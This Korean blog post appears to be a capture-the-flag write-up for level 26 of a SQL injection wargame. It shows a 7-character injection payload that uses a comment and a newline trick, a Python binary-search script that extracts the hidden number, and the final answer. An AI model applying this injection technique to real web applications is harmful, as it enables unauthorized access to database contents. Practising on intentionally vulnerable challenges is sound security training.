본문 바로가기

웹/los

los 26번

los 26번입니다.

los 26번

문제조건을 보면 id의 길이가 7을 넘을 수 없고, id=admin일때, no를 맞춰야 문제를 해결할 수 있습니다. 특별하게 필터링 되는 문자는 없는 것 같습니다.  그리고 is_numberic은 no의 값이 숫자인지의 여부를 반화하는 함수 인데 숫자일 경우는 그대로 no로 넣어준 값을 반환하고 숫자가 아닐 경우에는 1을 반환합니다.

 

일단 id의 조건을 이용하여 문제를 해결하여야 하는데 이때 주석 문자를 이용하여 뒤의 no의 내용을 무효화할 수 있습니다.

 

그래서 '||no<# 이렇게 7글자인 조건문을 이용해서 no의 자릿수(?)를 알아냈습니다.. no의 값에 개행문자를 먼저 적어주면  그 뒤의 숫자가 주석처리 되지 않기 때문에 no의 자릿수를 확인할 수 있었습니다.

 

위의 두 결과로 보아 no는 100000000<no<1000000000 으로 알 수 있습니다. 즉 9자리의 숫자임을 알 수 있습니다. 그러면 길이를 알냈기 때문에 이진탐색을 통해서 정확한 no의 값을 알아내면 될 것 같습니다. 이진 탐색을 이용한 파이썬 코드는 아래와 같습니다.

 

import requests

url='https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?'
header={'Cookie':'PHPSESSID=ufj6q3ft5dptj5eptdt3epu0hl'}

L=100000000
R=1000000000

while True:
    mid=(L+R)//2
    print("L:",L,"R:",R,"mid:",mid)
    query="id='||no<%23&no=%0a{}".format(mid)
    result=requests.get(url+query,headers=header)
    if L>R:
        answer=mid
        break

    if "Hello admin" in result.text:
        R=mid-1
    else:
        L=mid+1

print("answer:",answer)

찾아낸 no를 넣어주면 문제가 해결됩니다.

 

정답:?no=586482014

' > los' 카테고리의 다른 글

los 28번  (0) 2020.12.21
los 27번  (0) 2020.12.21
los 25번  (0) 2020.12.19
los 24번  (0) 2020.12.19
los 23번  (0) 2020.12.19